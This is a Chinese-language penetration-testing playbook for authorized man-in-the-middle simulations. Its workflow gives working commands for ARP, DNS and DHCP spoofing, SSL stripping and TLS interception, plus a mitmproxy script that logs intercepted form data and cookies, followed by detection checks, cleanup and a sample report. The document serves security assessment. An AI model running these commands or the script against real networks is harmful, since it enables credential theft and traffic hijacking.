conducting-man-in-the-middle-attack-simulation

# 中间人攻击模拟演练

## 适用场景

- 测试应用程序是否正确验证 TLS 证书并强制执行加密通信
- 向组织利益相关方演示明文协议（HTTP、FTP、Telnet、SMTP）的风险
- 验证 HSTS、证书固定（certificate pinning）及其他反中间人攻击控制措施是否正确实施
- 评估网络对 ARP 欺骗（ARP spoofing）、DHCP 欺骗和 DNS 欺骗攻击的检测能力
- 训练事件响应（Incident Response）团队识别和响应中间人攻击指标

**不适用于**：在未经明确书面授权和回滚计划的情况下对生产网络使用，针对您不拥有或未获授权测试的系统，或拦截无关第三方的通信。

## 前置条件

- 书面授权，说明范围内目标和批准的中间人攻击技术
- 在攻击机上安装 Bettercap 2.x、Ettercap 和 mitmproxy
- 对目标主机所在网络分段的二层（Layer 2）访问权限
- 用于 TLS 拦截测试的自定义 CA 证书（专门为本次任务生成）
- 用于捕获和验证拦截流量的 Wireshark 或 tshark
- 隔离的实验室环境，或已获批准的生产测试窗口（含回滚程序）

## 工作流程

### 步骤 1：搭建攻击环境

```bash
# 启用 IP 转发
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1

# 禁用 ICMP 重定向
sudo sysctl -w net.ipv4.conf.all.send_redirects=0

# 为 TLS 拦截生成 CA 证书
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
  -subj "/CN=MITM Test CA/O=Security Assessment/C=US"

# 发现目标网络上的主机
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
```

### 步骤 2：使用 Bettercap 执行基于 ARP 的中间人攻击

```bash
# 以交互模式启动 Bettercap
sudo bettercap -iface eth0

# 启用网络探测以发现主机
> net.probe on

# 显示已发现的主机
> net.show

# 设置目标（受害者：192.168.1.50，网关：192.168.1.1）
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true

# 启动 ARP 欺骗
> arp.spoof on

# 启用 HTTP 代理进行流量检查
> set http.proxy.sslstrip true
> http.proxy on

# 使用证书拦截启用 HTTPS 代理
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on

# 对特定域名启用 DNS 欺骗
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on

# 启用凭据嗅探器
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
```

### 步骤 3：使用 mitmproxy 拦截 HTTP/HTTPS 流量

```bash
# 以透明代理模式启动 mitmproxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
  --set ssl_insecure=true -w mitm_capture.flow

# 配置 iptables 将流量重定向到 mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

# 使用 mitmproxy 脚本进行自动化凭据提取
cat > extract_creds.py << 'PYEOF'
"""mitmproxy 脚本，用于从拦截的流量中提取凭据。"""
from mitmproxy import http
import json

def request(flow: http.HTTPFlow):
    if flow.request.method == "POST":
        content_type = flow.request.headers.get("content-type", "")
        if "form" in content_type or "json" in content_type:
            with open("captured_forms.log", "a") as f:
                f.write(f"URL: {flow.request.pretty_url}\n")
                f.write(f"Data: {flow.request.get_text()}\n")
                f.write("---\n")

def response(flow: http.HTTPFlow):
    # 记录认证 Cookie
    if "set-cookie" in flow.response.headers:
        with open("captured_cookies.log", "a") as f:
            f.write(f"URL: {flow.request.pretty_url}\n")
            f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
            f.write("---\n")
PYEOF

sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow
```

### 步骤 4：执行 DNS 欺骗和 DHCP 攻击

```bash
# 使用 Ettercap 进行 DNS 欺骗
sudo tee /etc/ettercap/etter.dns << 'EOF'
# 将目标域名重定向到攻击者的 Web 服务器
example.com      A   192.168.1.99
*.example.com    A   192.168.1.99
www.example.com  A   192.168.1.99
EOF

sudo ettercap -T -q -i eth0 -M arp:remote -P dns_spoof /192.168.1.50// /192.168.1.1//

# 使用 Bettercap 进行 DHCP 欺骗（提供以攻击者为网关的流氓 DHCP）
sudo bettercap -iface eth0
> set dhcp6.spoof.domains example.com
> dhcp6.spoof on

# 在攻击者机器上设置钓鱼页面
sudo python3 -m http.server 80 --directory /var/www/phishing/
```

### 步骤 5：验证检测并测试控制措施

```bash
# 验证目标应用程序的证书固定是否有效
# 如果应用拒绝中间人攻击 CA，则证书固定有效
# 检查目标机器上的证书错误

# 测试 HSTS 执行
# 初始 HTTPS 后浏览器拒绝 HTTP 连接，则 HSTS 有效
curl -v -k -L http://example.com 2>&1 | grep -i "strict-transport-security"

# 验证 IDS 对 ARP 欺骗的检测
# 检查 Snort/Suricata ARP 异常告警
grep -i "arp" /var/log/snort/alert_fast.txt

# 检查交换机是否检测到攻击（DAI 日志）
# 在 Cisco 交换机上：show ip arp inspection log

# 测试网络监控工具
# 验证 Zeek 是否生成了相应的告警
cat /opt/zeek/logs/current/notice.log | zeek-cut note msg

# 捕获成功/失败拦截的证据
tshark -i eth0 -f "host 192.168.1.50" -w mitm_evidence.pcapng -a duration:300
```

### 步骤 6：清理并记录结果

```bash
# 停止所有中间人攻击
# 在 Bettercap 中：
> arp.spoof off
> http.proxy off
> https.proxy off
> dns.spoof off
> quit

# 恢复 IP 转发
sudo sysctl -w net.ipv4.ip_forward=0

# 删除 iptables 规则
sudo iptables -t nat -F PREROUTING

# 验证目标主机的 ARP 表是否已恢复
# 目标应通过正常 ARP 重新学习正确的 MAC 地址

# 强制刷新 ARP 缓存（从目标机器执行）
# arp -d 192.168.1.1 && ping -c 1 192.168.1.1

# 从安装过测试 CA 证书的系统中移除它
# 按任务协议删除包含敏感数据的捕获文件

# 生成文档
echo "MITM 模拟在 $(date) 完成" >> mitm_report.txt
sha256sum mitm_capture.flow mitm_evidence.pcapng >> mitm_report.txt
```

## 核心概念

| 术语 | 定义 |
|------|------------|
| **中间人攻击（Man-in-the-Middle, MITM）** | 攻击者秘密拦截并可能篡改两方之间通信的攻击，而双方误以为在直接通信 |
| **SSL 剥离（SSL Stripping）** | 通过在 TLS 升级前拦截初始 HTTP 请求，将 HTTPS 连接降级为 HTTP 的降级攻击，绕过加密 |
| **HSTS（HTTP 严格传输安全）** | 强制 HTTPS 连接的浏览器安全策略，通过缓存加密连接要求来防止 SSL 剥离 |
| **证书固定（Certificate Pinning）** | 将服务器证书与预配置的可信证书集进行验证的应用安全控制，可检测中间人代理证书 |
| **ARP 缓存投毒（ARP Cache Poisoning）** | 通过破坏目标主机的 ARP 缓存，将流量重定向到攻击者机器的二层攻击技术 |
| **透明代理（Transparent Proxy）** | 无需客户端配置即可拦截流量的代理，通常使用 iptables REDIRECT 规则捕获发往标准端口的流量 |

## 工具与系统

- **Bettercap 2.x**：网络攻击瑞士军刀，支持 ARP/DNS/DHCP 欺骗、HTTP/HTTPS 代理和凭据嗅探，具有模块化架构
- **mitmproxy**：支持 TLS 的交互式代理，用于拦截、检查和修改 HTTP/HTTPS 流量，支持 Python 脚本
- **Ettercap**：传统中间人攻击工具，支持 ARP 欺骗、DNS 欺骗和基于插件的流量操纵
- **sslstrip**：实现 SSL 剥离攻击的工具，通过代理 HTTP 到 HTTPS 重定向并提供降级的 HTTP 版本
- **Wireshark**：数据包分析器，用于验证流量拦截并捕获中间人攻击成功或失败的证据

## 常见场景

### 场景：测试内部 Web 应用程序的 HTTPS 执行情况

**场景背景**：开发团队声称其内部 Web 应用程序强制执行 HTTPS 并配有 HSTS 和证书固定。安全团队需要在授权评估期间验证这些控制措施。应用程序运行在 10.10.20.50，由 10.10.1.0/24 VLAN 上的工作站访问。

**方法**：
1. 在同一 VLAN 上设置 Bettercap，并对测试工作站（10.10.1.100）进行 ARP 欺骗
2. 通过 Bettercap 的 HTTP 代理启用 SSL 剥离，测试应用程序是否可降级为 HTTP
3. 使用测试 CA 证书启用 HTTPS 拦截，以测试证书验证
4. 从测试工作站尝试访问应用程序，观察浏览器或应用程序是否拒绝连接
5. 验证 HSTS 头部是否存在且具有适当的 max-age 值
6. 记录厚客户端未实现证书固定（接受中间人攻击 CA），而 Web 浏览器由于 HSTS 预加载而正确拒绝
7. 建议在厚客户端应用程序中实现证书固定

**常见陷阱**：
- 忘记启用 IP 转发，导致拒绝服务而非透明拦截
- 在 HSTS 已预加载到浏览器的应用上测试 SSL 剥离后得出 HSTS 有效的结论，而实际上全新浏览器实例可能仍有漏洞
- 测试后未清理 ARP 欺骗，导致目标间歇性连接问题
- 未使用透明模式标志运行 mitmproxy，需要手动代理配置，改变了测试条件

## 输出格式

```
## 中间人攻击模拟报告

**测试 ID**: MITM-2024-001
**日期**: 2024-03-15 14:00-16:00 UTC
**目标应用程序**: https://app.internal.corp (10.10.20.50)
**测试工作站**: 10.10.1.100
**攻击机器**: 10.10.1.99

### 控制验证结果

| 控制项 | 状态 | 详情 |
|---------|--------|---------|
| HTTPS 重定向 | 通过 | HTTP 请求以 301 重定向到 HTTPS |
| HSTS 头部 | 通过 | max-age=31536000; includeSubDomains; preload |
| SSL 剥离（浏览器） | 已阻止 | HSTS 阻止 Chrome/Firefox 中的降级 |
| SSL 剥离（厚客户端） | 存在漏洞 | 客户端在无 HSTS 的情况下跟随 HTTP 重定向 |
| 证书固定（浏览器） | 不适用 | 仅标准 CA 验证 |
| 证书固定（厚客户端） | 存在漏洞 | 接受中间人攻击 CA 而不验证 |
| IDS 检测 | 通过 | Snort 在 12 秒内生成 ARP 欺骗告警 |

### 建议
1. 在厚客户端实现证书固定（高优先级）
2. 提交域名到 HSTS 预加载列表
3. 在接入层交换机上启用动态 ARP 检测（DAI）进行二层保护
4. 配置应用程序拒绝来自非固定证书的连接
```